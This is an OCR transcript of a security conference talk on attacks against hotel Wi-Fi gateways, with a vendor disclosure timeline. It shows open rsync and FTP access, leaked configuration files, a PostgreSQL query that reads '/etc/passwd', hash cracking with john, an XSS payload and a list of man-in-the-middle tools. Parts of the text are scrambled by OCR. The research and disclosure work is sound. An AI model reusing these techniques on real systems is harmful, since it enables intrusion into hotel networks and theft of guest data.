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Disclaimer

No hotels were harmed during making of this presentation
Do not try this at home!

Images Courtesy: ANTlabs & INTSIGHTS



What this talk is not about



What this talk is about

Biggest threats are simple not sophisticated
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Security Point Products

* Network Security
* Endpoint Security
* Data Security

Endpoint Security

* Visibility into endpoint activity

* Mo visibility of network traffic

* Blind-spot: agentless
endpoints

Data/Application Security

* Required for critical assets

* No visibility on
network/endpoints

+ More overhead, complex

Network Security

*  24/7 network monitoring

(N/S, E/W)
* No visibility on endpoint activity
More false alarms

Security Information and Event Management (SIEM)

Visibility into Network, Endpoint,

and Data via logs/alerts

Costly, complex, and resource intensive
Requires in-house security expertise




“Supreme excellence consists in breaking the enemy's resistance without fighting”

— Sun Tzu



How one hacked laptop led to an entire
network being compromised

One worker clicking on the wrong link at the wrong time resulted in a major security breach.

z By Danny Palmer | December 14, 2018 -- 11:28 GMT (11:28 GMT) | Topic:
f n 4 ) Security

A corporate laptop being used in a coffee shop at a weekend was enough to allow a

sophisticated cybercrime group to compromise an organisation's entire infrastructure.

The incident was detailed by cybersecurity firm Crowdstrike as part
of its Cyber Intrusion Services Casebook 2018 report and serves as
a reminder that laptops and other devices that are secure while
running inside the network of an organisation can be left exposed

when outside company walls.

Crowdstrike described the company that fell victim to the hackers
only as apparel manufacturer "with an extensive global presence,

including retail locations".

The incident began when an employee of the manufacturer took

their laptop to a coffee shop and used it to visit the website of one

QI Ihe I'Fm’s partners




Why Do Threat Actors attack Hotel ?

Second largest number of breaches after retail sector

Prominent hotel brands attacked repeatedly

Collect sensitive, valuable and varied data

Manage large number of financial transactions

Uses loyalty programs to encourage repeated visits

Raddison Blu Giftcards <50 USD for 150 EUR>




HOte| attaCk Surface » 07-17-2018, 06:26 PM

Sgarnsta

1.Partial access to corporation network and server as administrator

¢ La rge quantlty Of d|Ve rse endeIntS :jr’:gttg:ir::g.hilton.com/en/index.html?ignoreGateway:true
° Access to mothersh | p 2..Partial access to corporation network and server as administrator
e Lack of em ployee secu r|ty awareness e 3.Full access as administrator to domen controller and servers
Posts: 121
* U ndeﬁ ned secu r|ty res ponSi b| I ities Reputation: 4..Partial access to corporation network and server as administrator
Deposit: 0%
°

High exposure to third parties

We hope you enjoyec
ok N N » i Achive RS Move T Delete @ av X
We hope you enjoyed your stay at the (G NS - coe 2g2in soon! -
. re:eipt’.

Thank you for choosing to stay with us here at (h— We hope you enjoyed your visit!

For your convenience, we've enc Io ed a copy of your final receipt ou have estions regarding your receipt, rather than replying to this
epall we'd love to speak with ectly. Give us a call any time at “ All other questions can be directed to our Customer Care Line

i

It was a pleasure having you and we look forward to seeing you again soon!
Arem ember? Did you know that you can easily view and download your receipt within 3 days in they —pp7 Get
the app today

rova-m mber? Join a(—an get instant benefits on your next stay - it's fast, easy & free to sign up

LY




Attack Vectors

Attacks on Point of Sale
Spear phishing attacks
WIFI network attack
DDOS and Botnet attacks
Internet of Things attacks
Brand Impersonation
Customer targeted attacks

Ransomware

( ) ( WiFi >
Internet Roaming

= ISP1 ISP 2 =
| |

Router Router

Billing Option ©

Room 108

Prepaid
Credit 5
— Ethernet Switch Reception Area Account
PMS ? e ==== | Printer

Lobby Pool Side  Restaurants Guests Conference Ballrooms  Business
Rooms Centers



Threat Actors

* APT28 Fancy Bear

Travelers Beware: Russian APT28 Hac'kerwsmHit Hotel
Middle East

By Jeff Goldman, Posted August 22, 2017 ® 4 min read

Download our in-depth report: The Ultimate Guide to IT Security Vendors

FireEye researchers report that the Russian APT28 hacker group, also known as Fancy Bear, has been targeting hotels

throughout Europe and the Middle East since at least July 2017.

"The actor has used several notable techniques in these incidents such as sniffing passwords from Wi-Fi traffic,

poisoning the NetBIOS Name Service, and spreading laterally via the EternalBlue exploit," the researchers wrote.

The attack starts with a spear phishing email sent to the target hotel, with an attached document named
Hotel_Reservation_Form.doc. If the macro in the attached document is executed, it installs APT28's GAMEFISH

malware.

"Once inside the network of a hospitality company, APT28 sought out machines that controlled both guest and internal
Wi-Fi networks," the researchers wrote. "No guest credentials were observed being stolen at the compromised hotels;

however, in a separate incident that occurred in Fall 2016, APT28 gained initial access to a victim's network via

credentials likely stolen from a hotel Wi-Fi network."

Solutions Services Customers

{)FIREEYE
Threat Research

APT28 Targets Hospitality Sector, Presents Threat to
Travelers

August 11, 2017 | by Lindsay Smith, Ben Read

FireEye has moderate confidence that a campaign targeting the hospitality sector is attributed to Russian actor
APT28. We believe this activity, which dates back to at least July 2017, was intended to target travelers to hotels
throughout Europe and the Middle East. The actor has used several notable techniques in these incidents such as
sniffing passwords from Wi-Fi traffic, poisoning the NetBIOS Name Service, and spreading laterally via the
EternalBlue exploit.

APT28 Uses Malicious Document to Target Hospitality Industry

FireEye has uncovered a malicious document sent in spear phishing emails to multiple companies in the
hospitality industry, including hotels in at least seven European countries and one Middle Eastern country in early
July. Successful execution of the macro within the malicious document results in the installation of APT28's
signature GAMEFISH malware.

Russia's 'Fancy Bear' Hackers Used Leaked NSA Tool to Target Hotel Guests

Then, just last month, FireEye learned of a series of similar Wi-Fi attacks at hotels across
seven European capitals and one Middle Eastern capital. In each case, hackers had first
breached the target hotel's network—FireEye believes via the common tactic of phishing
emails carrying infected attachments that included malicious Microsoft Word macros. They
then used that access to launch the NSA hacking tool EternalBlue, leaked earlier this year in

a collection of NSA internal data by hackers known as the ShadowBrokers, which allowed

them to quickly spread their control through the hotels' networks via a vulnerability in
Microsoft's so-called "server message block” protocol, until they reached the servers

managing the corporate and guest Wi-Fi networks.




THE DARKHOTEL ATTACKS
Threat Actors ON BUSINESS EXECUTIVES

¢ Da rkh0t6| APT The Darkhotel threat actor

compromises selected
luxury hotels

A high-level business

I(asperSky da"y My Kaspersky traveller stays in
the compromised hotel
Products Renew Downloads Support Resource Center Blog Secure Futures After C_hed(_,m’
the executive tries
to connect to Wi-Fi
& APT Q The hotel requires the guest’s

surname and room number
at login

DarkhOtel: a spy campaign in luxury The attackers offer an update
Asian hotels m

Kaspersky Lab revealed a cyberspy campaign, Darkhotel, which had been active for seven years The welcome pasteges

are installers for a backdoor
in a number of luxury Asian hotels.

Now the attackers can use

@ kaspersky.com a set of tools to collect data,
hunt for cached passwords

Products Renew Downloads Support Resource Center Blog E

and steal login credentials

)
)
©
()
©
o

i . . Warning!
In an approach that lies somewhere between these two, they target unsuspecting

executives who are traveling overseas and are staying at a hotel. Here the victims are u m c:l;lajebesesctr:ltesn!
infected with a rare Trojan that masquerades as one of several major software releases,
including Google Toolbar, Adobe Flash and Windows Messenger. This first stage infection is
used by the attackers to qualify their victims and download further malware to the

computers of more significant victims, designed to steal confidential data from the victim's 01997 — 2014 Kaspersky e KAJPERJKY: ~ GREAT

computer.




Notable Data Breaches

& bbc.com

BE ’ o Sign in News  Sport Reel Worklife Travel Future

NEWS

Home  Video World UK Business Tech Science Stories Entertainment & Arts

Technology

Marriott hack hits 500 million Starwood
guests

© 30 November 2018 f © ¥ [ <« share

ALAMY

Sheraton is one of Marriott's brands

The records of 500 million customers of the hotel group Marriott International
have been involved in a data breach.

The hotel chain said the guest reservation database of its Starwood division had
been compromised by an unauthorised party.




Disclaimer Once Again!

’ InfoSec Taylor Swift

| know it all ends tomorrow;
So it has to be today;

For the first time in forever;
| have a Oday.

- ! x




How did this all start?

Starting Naso 7.7 [ it T 2018-22.15 Cylance Researchers Discover
arting Nmap 7. ps:/fnmap.org a -12- L e .
03:21 Arab Standard Time Critical Vulnerability Affecting

Nmap scan report for Hotel Chains Worldwide
Host is up (1.5s latency).

PRODUCTS SOLUTIONS

PORT STATE SERVICE
873/tcp open rsync ANTLabs InnGate devices are a popular Internet gateway for visitor-based networks. They're

] commonly installed in hotels, convention centers and other places that provide temporary
Nmap done: 1 IP address (1 host up) scanned in 8.46

seconds guests access to a WiFi connection. If you've ever used WiFi in a hotel, you're familiar with these

types of devices as they are typically tied to a specific room number for billing purposes.

The Vulnerability

~# rsync I

portal
freeaccess
invoices InnGate device. Remote access is obtained through an unauthenticated rsync daemon running
logoutconsole
vouchers

gives an attacker full read and write access to the file system of an ANTLabs'

on TCP 873. Once the attacker has cannected to the rsync daemon, they are then able to read

and write to the file system of the Linux based operating system without restriction.

When an attacker gains full read and write access ta a Linux file system, it's trivial to then turn
that into remote code execution. The attacker could upload a backdoored version of nearly any
executable on the system and then gain execution control, or simply add an additional user with
root level access and a password known to the attacker. Once full file system access is

obtained, the endpoint is at the mercy of the attacker.




Name Hikadmin>
H <users>
subscriber_columns = <0>
; 1.homepage_order.xml <id?0</i‘_i> . .
) i <unique id>1</unique id>
1.widget_settings.xml <username>admin</username>
13203003 15.homepage_order.xml <password> 4da936cabacb5d</password>
S N <lastname></lastname>
1420445032.homepage_order.xml <firstname></firstname>
account_printers.xml <theme>1</theme> -
dmi | <root group>1</root group> - Conflg:a»
=| aamin.xm <group nse>nse</group nse> .
£] agent.xml <read write></read write> H <locations>
<superuser>1</superuser>
- auth.xml <staff>l</staff> H <0>
<@
=| cluster_restart.xml <lang>default</lang> . .
2 configuration.xml :ggi>§g2iz/pos type> <ld?0< /lc.i> . .
] connection trackingxml o rentene s oe content> <unique i1d>1434631420</unique id>
] content_filters.xml <pos_subscriber></pos_subscriber> <name:= Guests< /name >
o <pos charge room></pos charge room>
=] custom_dns.xml <pos charge conference></pos charge conference> <host>ftp . < /host>
1 db.xml <pos _billing change></pos billing change> = 5
<path> /I < /= th>
‘ dhcp_health.xml <pos_width></pos width> - - -
) dnep.settingsml “pos heights></pos heights <username> up</username>
N . <pos_revenue></pos revenue> .
dhcp_staticxml <pos_overview columns>username,billing,status,expi <password>' — J'P< /password>
dhep_subnets.xml <pos_required fields></pos required fields> <type >pa55ive< /type>
factory.xml cpagess
i <readonly>0</readonly>
_ Ly iy <port>21</port>
filters.xml <group id></group id>
) . <hidden></hidden> <upload type>1l</upload type>
=| ftp_based_config.xml . . _ —
<last login>1538489590</last login>
ftp_locations.xml <first page> details.php</first page> B < / 0 >
atewavs.xml <code_length></code_length> L '
9 Y <code type></code type> < /locatlons>
| general_backup.xml <to lower></to lower> - 1>
global_settings.xml <pos_content_type></pos_content type> / con flg
\ <oldpw></oldpw>
groups.xml <print method></print method>
©| health.xml <first login>0</first login>
o ) <blocked></blocked>
= health_config.xml <attempts>0</attempts>
© interfaces.xml <password_active>1385389154</password _active>
& li_settings.xm| I </o><password7policy></passwordﬁpolicy>
i license_profile.xml 8| <1>
| locations.xml <id>1</id>
~ : <unique id>1320300285</unique id>
) log_configuration.php <username>administrator</username>
: network_policiesxm| <password></password>
<lastname></lastname>
networks.xml <firstname></firstname>
offline_mode.xm! <theme>1</theme>
_ <root7group>1</rootigroup>
packet_config.xml <group nse>nse</group nse>
4 ' <read write></read write>




ftp> o t
ah_Airport

bu_Dhabi

Connected to Al_Wahda

220 Microsoft FTP Service

200 OPTS UTF8 command successful - UTF8 encoding now ON.
User (IEEEEN: (none)): NN

331 Password required for [N

logged in.

command successful.
connection already open; Transfer starting.
10:54PM <DIR>
11:32PM <DIR>
12:23AM <DIR>
©9:59AM <DIR>
09:12PM <DIR>
09:49PM <DIR> adh
07:29AM <DIR> ha
©09:19PM <DIR> Salalah
©9:31PM <DIR> emy
03:42PM <DIR>
05:29PM <DIR> Camp
©01:15AM <DIR> ments_Barsha
01:05AM <DIR> m _Makkah
08:24AM <DIR> habi a
04:13AM <DIR> ique_Hotel s_Makkah
11:52PM <DIR> 1i_Libya
10:45PM <DIR>
08:41PM <DIR> umeirah
10:01AM <DIR> kah
09:14PM <DIR>
02:08PM <DIR> _Dhabi
01:45PM <DIR>
12:00AM <DIR> emier
11:44PM <DIR> inski
12:18PM <DIR>
11:50AM <DIR> i
12:25AM <DIR>
01:24PM <DIR> Doha
05:17PM <DIR> _Dubai
10:31PM <DIR> _Sharjah Dau Resort
12:28AM <DIR> /Amman - T
03:20PM <DIR>
11:41AM <DIR> rain
11:59AM <DIR> cat
09:31PM <DIR> | Abu_Dhabi
12:41AM <DIR> q
07 : 50AM <DIR>
12:085AM <DIR> _Marina
11:25AM <DIR>
09:56PM <DIR>
01:46PM <DIR>
11:54PM <DIR> de
04:44PM <DIR>
12:00AM <DIR> a
12:03AM <DIR> Verdun
12:19AM <DIR> ELLIGENGE]
07 :56PM <DIR> ubai
07:17AM <DIR> ai

:d in ©.55Seconds 14.34Kbytes/sec.




Disclosure Timeline

e 2018-10-31: First vendor notification —immediate response
* 2018-11-12: Technical details sent to vendor

e 2018-12-10: Vendor questions feasibility

e 2018-12-15: Proof of concept sent

e 2018-12-17: Vendor acknowledges vulnerability

e 2018-12-20: Vendor discusses update plans

e 2019-04-01: Vendor assures patching
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Automatic
Re-login

=3

&

Tight
Integration
with PMS

Room no.

Last mame

Social Media
Integration

Login with

0200

p
Self-service
Payment
Credit Card
I =
Prepaid
I $

. >

Multi Device Support

Guest room (wired + wireless)
F—a 1 1 1 J

—@ j Ethernet

& “ Switch

Guest
Zone

Leisure Amenities (wireless)

WIiFi Access

Please select an option to gain access to our WiFi
network.

) g’ - Poolside — weww
e - Rostaurants vewrw
s - Gym Ethernet

Switch

Reception Area (wireless)

Public
Zone 1 - Lobby e 4
- Lounge
- Restaurants Ethernet
Switch

Business Amenities

(wired + wireless)

Public E——
Zone 2 - Conference _ weww
L. Baliroom Ethernet
k" - Business Switc
Centers

Captive Portal LA
e Radius

* LDAP

* Voucher

* SMS

* PMS

* Social Login

Management

*  Web portal

* Role based access
* DNS server

e DHCP

* Firewall

e Lawful interception

@ By accessing the WiFi network you agree to the Terms
of Service

Provisioning and

Accounting/'

Chilli

(Access Controller)

- Wired or Wireless
DHCP by Chilli

— Web Server

Captive Portal
Enforced by Chilli until authenticated

Billing Feature
e Credit Card
«  PMS (FIAS)




Target Selection

shell

United Kingdom
Germany

Russian Federation
United Arab Emirates
Saudi Arabia

A
\
{

leand

log1 o

.
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Attack Surface

Host is up (@.812s latency).
Mot shown: 95 filtered ports
PORT STATE SERVICE
22/tcp open ssh

88/tcp open http
443/tcp open https
S432/tcp open postgresql

Mmap done: 1 IP address (1 host up) scanned in 12.45 seconds




Web Management Portal

* Get private data

» Subscriber’s details, Network configuration, DHCP, DNS, firewall rules
* Backup, logs, PMS, Guest details, SSL, SMTP

* Set every parameter

 DHCP, DNS, WAN, LAN, Route Configuration

Login

* Port forwarding, Syslog, SSL

* Download
* Configuration, database, backup, logs

* Upload

* Backup, Images



Web Server

ITSTIMEFOR

SOURGE GODE ANALYSIS



/media/root,

charts
cluster
cms
config
creditcard
defines

fms

images
include
lang
library

logg

login
logout
logoutconsole

logoutpage

oauth

paypal

portal

olelge:]l
portal_custom
portal_lang
portal_registration
print

print_

reports

rpm
scripts
sms
smskey
smstest

ssl

status
subscriber
tabs

test

tiny_mce

wsdl

xml

var/www/html/

= index.php
= info.php




& /media/root/ var/www/html/ /

current  agentS_content.php & ajax_history_report.php
_notes » agentS_Llist.php = ajax_horizonlog.php
temp ¥ ajax.php & ajax_interface_order.php
¥ 8021x.php ¥ ajax_aaalog.php ® ajax_interfaces_status.php
* aaalog.php ¥ ajax_agentR.php » ajax_itviog.php
» aaalog_list.php ¥ ajax_agentS.php ¥ ajax_liglog.php
¥ access_control_external.php = ajax_bandwidth.php ¥ ajax_lilog.php
¥ access_control_groups.php ¥ ajax_Dbilling.php ¥ ajax_live.php
¥ access_control_rules.php ajax_client_server.php ¥ ajax_log.php
¥ access_list.php ¥ ajax_cluster.php ¥ ajax_message.php
¥ account_printer.php ajax_cpu_report.php ¥ ajax_nodelog.php
¥ activate_users.php ¢ ajax_dhcpdlog.php ¥ ajax_packet_capturing.php
¥ agent.php ¥ ajax_dns_log.php ¥ ajax_paymentlog.php
¢ agentR.php ¥ ajax_export_portal_status.php = ajax_portal_editor.php
¥ agentR_content.php ' ajax_fiaslog.php ¥ ajax_portallog.php
* agentR_list.php ¥ ajax_general.php ¢ ajax_portal_rules.php
i agentS.php ¥ ajax_health.php ¥ ajax_print_portal_editor.php




<?php

if(!extension_loaded('Php Express')){$_['os']=strtoupper(substr(PHP_0S,0,3
));$_['ver']=strtoupper(substr(PHP_VERSION,2,3));%_['ext']=($_['os']l="W
IN')?'".dl1':".s0";$_['nam' ]="phpexpress-php-".%$_['ver'].$_['ext'];$_['e
dr']=realpath(ini_get('extension_dir'));$_ ['sdr']=getcwd();if($_['os"']="
WIN'){$__['idr']=str_replace('\\',"/"',$_['edr']1);%$_['sdr']l=str_replace('\
\',"'/',%$ _['sdr']);if((strien($_['idr'])>2)66($_['idr'][1])=":"))$__[‘'idr
"J=substr($__["idr'],2);if((strlen($_["sdr']1)>2)66($_['sdr'][1]=":"))%$__
["sdr']=substr($_['sdr'],2);}else{$_['idr']=%__['edr'];}$_['rd’']=str_rep
eat('/ .. ',substr count($__['idr']),'/')).$ [’'sdr'l."'/';$_['i']=strien($ I
'rd']);while(true){$_['i'J=strrpos($_['rd'], /" );if($_['i']s=false){$__
[‘rd’']=substr($__['rd"],0,$_['1i"'1);$_["p'l=%$__["'rd"']." '/phpexpress/'.$__[
'nam’' ];if(file_exists($_['edr'].$_["1p'I)){$_['nam']=%__["'1p'];break;}$_
["wp')l=%$_['rd'])."/".$_['nam'];if(Ffile_exists($_['edr']1.$_["1p"I{s__I
'nam’']=%$__["1p"'];break; }}else break; }adl($__['nam']);if(function_exists(
' _pe_dl_init')){return _ _pe_dl_init();}else{echo('<h2>Error:</h2><br>file

<i>'.__FILE__."</i> requires Php Express loader to be installed by the web

site administrator.\n");exit(2);}}die("'File '.__ FILE__." is corrupted.\n");
?>

) (ED><FD>A?<88>m§mAF><A4><E9;ﬂ<DA><02>ﬂ=.<A1>"T
<

-
<9B><D2><D2>ESCEJi<DA>[§<94><B6><A4><9B><EC>ER<BA>E<DD>J<9C><ES>"T<BO>[]
<A9><80>f§<AA><88> <82><82><8A><8A>q<82><8A> <A8>M<BO><BF><EF><E7>HS
<DE><CE>fI<BB><9B><B6><FE>R<FA><D7>ll<D0O>




backup_information
locations
subscriber_columns

B admin.xml

B agent.xml

B auth.xml

= cc_fields.var

B configuration.xml

B custom_dns.xml

B db.xml

B ddns.xml

B dhcp_health.xml

B dhcp_settings.xml

B dhcp_subnets.xml

B external.xml

B factory.xml

B ftp_based_config.xml

B gateways.xml

B global_settings.xml
B health.xml

B health_config.xml

B interfaces.xml

B license.xml

B li_settings.xml

B locations.xml

= log_configuration.php
B network_policies.xml
B networks.xml

B node.xml

B offline_mode.xml

B packet_config.xml

B performance.xml
B gos_setup.xml

B restart.xml

B routes.xml

B scripts.xml

B serial_settings.xml
B ssl_settings.xml

B system.xml

B system_backup.xml
B time.xml

B ums.xml

B updates.xml

B users.xml

= voucher_fields.var

B walled_garden.xml
B webhooks.xml

B white_list.xml

B white_list_filters.xml




<admin>

<users>

<0>

<id>e</id>
<unique_id>1</unique_id>
<username>admin</username>
<password>

<lastname></lastname>

<firstname></ firstname>
<theme>1</theme>
<root_group>1</root_group>
<group_nse>nse</group_nse>

<read write></read write>
<superuser>1</superuser>
<staff>0</staff>

<lang>1</lang>

<pos>0</pos>

<pos_type></pos_type>
<pos_content></pos_content>
<pos_subscriber></pos_subscriber>
<pos_charge_room></pos_charge_room>
<pos_charge_conference></pos_charge

</ passwor

_conference>




. xml
<database>
<db_user> </db_user>
<db_password> _ . </db_password>
<db_mysql>false</db_mysql>
<db_name> </db_name>

<db_host>localhost</db_host>

<path>/var/www/html</path>

<path_logs>/ V1log</path_logs>

<windows_version>false</windows_version>
</database>




TLS Certificates

12013_03_28_10_16_20_ca.crt
12013_03_28_10_16_20_private.key

2013_03_28_10_16_20_public.crt




Database

e PTopertES ST D e
e-0 -
. =-|=] Databases (2) Property Value
- = Description test
| 8 Cataogs 3 = service
i B Schemas (1) TS/ Hostname
| B¢ public =
@) Domains (0) = ::‘:“““
) R c?‘.ﬁw?m © = Encryption not encrypted
17 /SSL Certificate File
{=SSL Key File
“ SSL Root Certificate File
-8 Sequences (146) ! = SSL Certificate Revocation List
-3 Tables (155) = SSL Compression? yes
. @ admin = Maintenance database
. @[ banners ‘= Username
-3 biling ‘= |Store password? Yes
-3 biling_free ‘= Restore environment? Yes
: ®-[3 biling_group ‘= |Version string PostgreSQL
[ billing_records i= Version number 8.4
. @[ biling_sort = Last system OID
- (5[ black st ‘= Connected? Yes
| @-[ block_login )
| @ c2p_debug il
| A calen i=|Configuration loaded since
- e = Autovacuum running
&)
#-[ checkresponse
®-[F duster_tasks
#-[7 creditcard_settings
®-[F aurrency
#- [ custom2biling
#-[3 custom_fields
[ device
8- fias
53 filter
[ filter_rules
[ firewall
[ firewal_ipvé
[ free
[ free_access <
[ free_mac =
[ free_rues /SQL pane
<[ free_rules2
B
B
B

8 Login Role postgres

X

Role privieges Role membership  Variables SecurityLabels soL |4+

[+~] can login

[+] Inherits rights from parent roles
[+] Superuser

[] Can create databases

[~] Can create roles

[*] can modify catalog directly

~| Can initiate streaming replication and backups




Read Write

CREATE TABLE temp (¢ TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp |;

root:x:0:0:root:/root:/bin/bash
:bin:/bin:/sbin/nologin
2:2:daemon:/sbin:/sbin/nologin

| 4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown: /sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail: :12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp: /var/spool/uucp: /sbin/nologin

|operator:x:1l:0:operator:/root:/sbin/nologin

games:x:12:100:games: /usr/games: /sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

distcache:x:9%4:94:Distcache:/:/sbin/nologin

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin COPY T.'.-E]I'I;_]I FEOM * .|'r -’ccrnf..-’adnd.n.mrﬂ. i H

vcsa:x:69:69:virtual conscle memory owner:/dev:/sbin/nologin SELE{I * FR.DH t-E]I'Ip H

pcap:x:77:77::/var/arpwatch:/sbin/nologin

|ntp:x:38:38::/etc/ntp:/sbin/nologin

|dbus:x:81:81:System message bus:/:/sbin/nologin

apache:x:48:48:Apache: /var/www:/sbin/nologin

rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin

postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash

mailnull:x:47:47::/var/spool/mgueue;/sbin/nologin

|smmsp:x:51:51;::/var/spool/mqueue;:/sbin/nologin

|sshd: 4::/var/empty/sshd:/bin/false

radiusd:x:95:95:radiusd user:/home/radiusd:/sbin/nologin

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin

avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

squid:x:500:500: : /home/squid: /bin/bash

admin:x:501:501::/home/empty: /bin/

reset:x:502:502: : /home/empty: /bin/reset

PERMISSIONS

| DataQutput | Explain = Messages | History

ERECR: could not open file "/ conf/admin.xml™ for reading: Permission denied
KEEKNKNAENN Fprrar ¥AANEEEENE

ERECR: could not open file ™/ feconf/admin.xml™ for reading: Permission denied
S0L state: 42501




Firewall rules

description port | restart id int dir prot action source_ip source_ip_value source_sub_value dest_ip dest_ip_value dest_sub_value port_type sort
character varying integer| smallint| [PK] serial character varying(8) character varying(3)|character varying(4) character varying(6) smallint | character varying(15) character varying(15)| smallint character varying(15)| character varying(15)| smallint | intege
1 ssh 22 0 12 eth2 in ICP ACCEPT 0 0.0.0.0 0.0.0.0 0 0.0.0.0 0.0.0.0 1 2
2 icmp Q a 13 * in Icupe ACCEPT 0 0.0.0.0 0.0.0.0 o} 0.0.0.0 0.0.0.0 0 1
3 web interface - http 80 a 19 * in ICP ACCEPT 0 0.0.0.0 0.0.0.0 a 0.0.0.0 0.0.0.0 1 4
4 |web interface - https 443 1 21 * in ICcP ACCEPT 0 0.0.0.0 0.0.0.0 ] 0.0.0.0 0.0.0.0 1 3
5 5432 0 37 * in ICcP ACCEPT 0 0.0.0.0 0.0.0.0 0 0.0.0.0 0.0.0.0 1 7
6 i} 38 x in ICcPp ACCEPT 1] 0.0.0.0 0.0.0.0 i} 0.0.0.0 0.0.0.0 1 €
7 5555 |0 39 * in UDP ACCEPT 0 0.0.0.0 0.0.0.0 0 0.0.0.0 0.0.0.0 1 5
0 41 * in Ice ACCEPT 2 2 255.0.0.0 1 8

j..




Configuration

name
character varvinaf 1001}

All Lobby
Staff

1 Day Inte
All Lobby
1 Week Int
One Hours
1 Year Int

Free Acces

1 Month In
Voucher :
1 Month In
Voucher :
Facebook L
10Mbps @ 1
Banquet
Voucher
Voucher
Special
Free Inter
Voucher :
Voucher :
DM woucher
All Lobby

description
character varying(255)

url_redirect

charactar vananollsnd

band_up
integer

Valid
Staff
Premiu
Valid
Premiu
For Pu
Premiu
Free I

Premiu
Premiu
Premiu
Premiu
Facebe
Premiu
Banque
Premiu
Premiu
Specia
Free a
Premiu
Premiu
Only £

Valid _._ __.. ..

http://
htep://
htep://
http://
http://

http://
http://

http://
http://

htep://

https:/
http://
http://
hrep://
httpa:/
httpa:,
http://
http://
http://
http://

2042
1024
3072
1024
3072
2048
3072
1024
2048
3072
3372
3372
11240
1024
11240
1000
3072
3072
1024
1000
3072
3072
1000
1024




Guest Details

room guest_pame arriva departure
character varying(20) character varying(255) | character varying(255) character varying(255)
IS

7
Q
Q
a
1
3
a
o
1]
2
3




Guest WIFI Configuration

subscriber
character varying(100) i i character varying(150)

2 2383C 3072 3072 http:,
3 23943 1024 1024 http:,
4 2383¢ 1024 1024 http:,
5 2485¢ 3072 3072 http:,
6 250¢E 2048 2048

7 2381¢ 3072 3072 http:,
8 10813 2048 2048 htep:,
9 23748¢ 3072 3072 http:,
10 23832 3072 3072 http:,
11 2374¢ 3072 3072 http:,
12 2435¢% 3072 3072 http:,
13 24507 1024 1024

14 2393C 1024 1024 http:,
15 24122 1024 1024 http:,
16 24¢0¢ 1024 1024 http:,
17 2381¢ 1024 1024 http:,
18 2413C 1024 1024 http:,
19 10913 2048 2048 http:,
20 23812 3072 3072 http:,




Session Riding

- - - R - TR, B - I ST ]

NN NN R N e B S S S T~ S T
g Na;n A ﬂ M = S W m NG Wn & WN S

id name

3 version
4 Version
5 version
g version
g wersion
10 version
11 version
12 wersion
13 version
14 version
15 wersion
16 version
17 version
18 wersion
148 version
20 version
21 wersion
22 version
23 version
24 wersion
25 version
26 version
27 version
28 version
29 version
30 version
31 version

1

e e = =

type description
[PK] serial character varying(255) smallint character varying(255)

Release
Release
Release
Release
Release

Release

elease
elease
elease
elease
elease
elease

update

fix
release
release
release
release
relsase
release
release
relsase
release
release
release
release

release

time
integer

filen
char

|::3|:'.ript:=-alert (l)</script>




Plain Text Credentials

L MmN WA WN e

' content
|text

|Someone
jSomeone
|Someone
}Someone
jSomeone
|Someone
jSomeone
jSomeone
|Someone
|Someone
|Someone
jSomeone
|Someone
|Someone

:ied to login 4 times in with (,
I) tried to login 4 times in
d to login 4 times in
'ied to login 4 times in
.ried to login 4 times in
tried to login 4 times in
.xied to login 4 times in
tried to login 4 times in
tried to login 4 times in
tried to login 4 times i
.ried to login 4 times in
:d to login 4 times in
tried to login 4 times in
tried to login 4 times in

) .

withfl (Admin,

L,
.th
h o
iicth
ho
‘ren
iict




Enumerating Users

Terminal -

File Edit View Terminal Tabs Help
e X:0:0: :/root:/bin/bash
3 & - : :/home/empty:/
3°¥ - : :/home/empty:

# cat passwd.txt
vUld7k

.-18288:0:99999:7 :::
.:18287:0:99999:7 :::

- # john —show passwd. txt
admin: :0:99999:7 :::
reset: :9:99999:7 :::

2 password hashes cracked, 0 left



SSH

railable commands

iguration




System

available commands




PID USER PR NI VIRT RES SHR S %CPU $MEM TIME+ COMMAN
if12118 postgres ! ) 415m 287m 266m S 1.3 15:21.55 D

m 266m ¢ 1.3 1.6 21.55 p

[

l
1
] €
B

stmaster




Configuration

ailable commands

rformance

= intrus

configura
u sure ) Nt to >t the to f=




Owning DNS

e HTTP/S Downgrade

* Sniff plain text credentials

 FakeDNS
 WPAD abuse
* Hash capture (http_ntlm)

e Beef Hooks

* Browser autopwn?2

e Evilgrade
* BDFProxy



User Reset

shell login
login: reset

reset admin user

reset: admins/admin

performance

e intrusion

n]# factory
ou want to set the system to factory default? [y/n] I




Management

Portal

Statistics 2 | | Monthly statistics & | | Users history o b3 Bandwidth report o ® b
All A Active A WAN |
Active subscribers Data transferred up TByte zg:eg,l 855380
Pending users Data transferred down i TByte 2140 524268
Idle subscribers total revenue o 1805 § 303218
Expired subscribers Subscriber sessions ] 0 8 262144
Unused vouchers 535 131072
; 115 0117 01:18 0121 0123 0125
Elocked sibe v Total 00-42 00:50 0058 01:08 01:14 01:22
Health & 2| |Leases o 2] |Log 2 | |User license s
Disk space Connections CPU Memory Al A Ty ~
100 58 B Fres(2280)
. 58 Bl users online (2211)
80 158
%
40 :06
20
0 58 [
1 2 5 8 ‘58 w
Subscriber networks & | |[Revenue & 48| |Packets o 02
LAN P Active Idle Status Mode 1536 310
823 200 online Managed 1229 248
1390 703 online Managed g2z s 150
814 124
307 62
1] (1]
1218 12020 1222 1224 1228 1228 1218 1220 1222 1224 12028 12728
Redirections o L Rooms occupancy o Devices o by
All Portal A 31aa| 273
1 2830 2185
D\IJ_\—’A 1630
2 8 g 1898 * oe2
3 4 g 1208 548
&« 2 833 o
1] Unknewn
otoe 0111 o110 01:25 ik T

o118 o121 01:25
In use




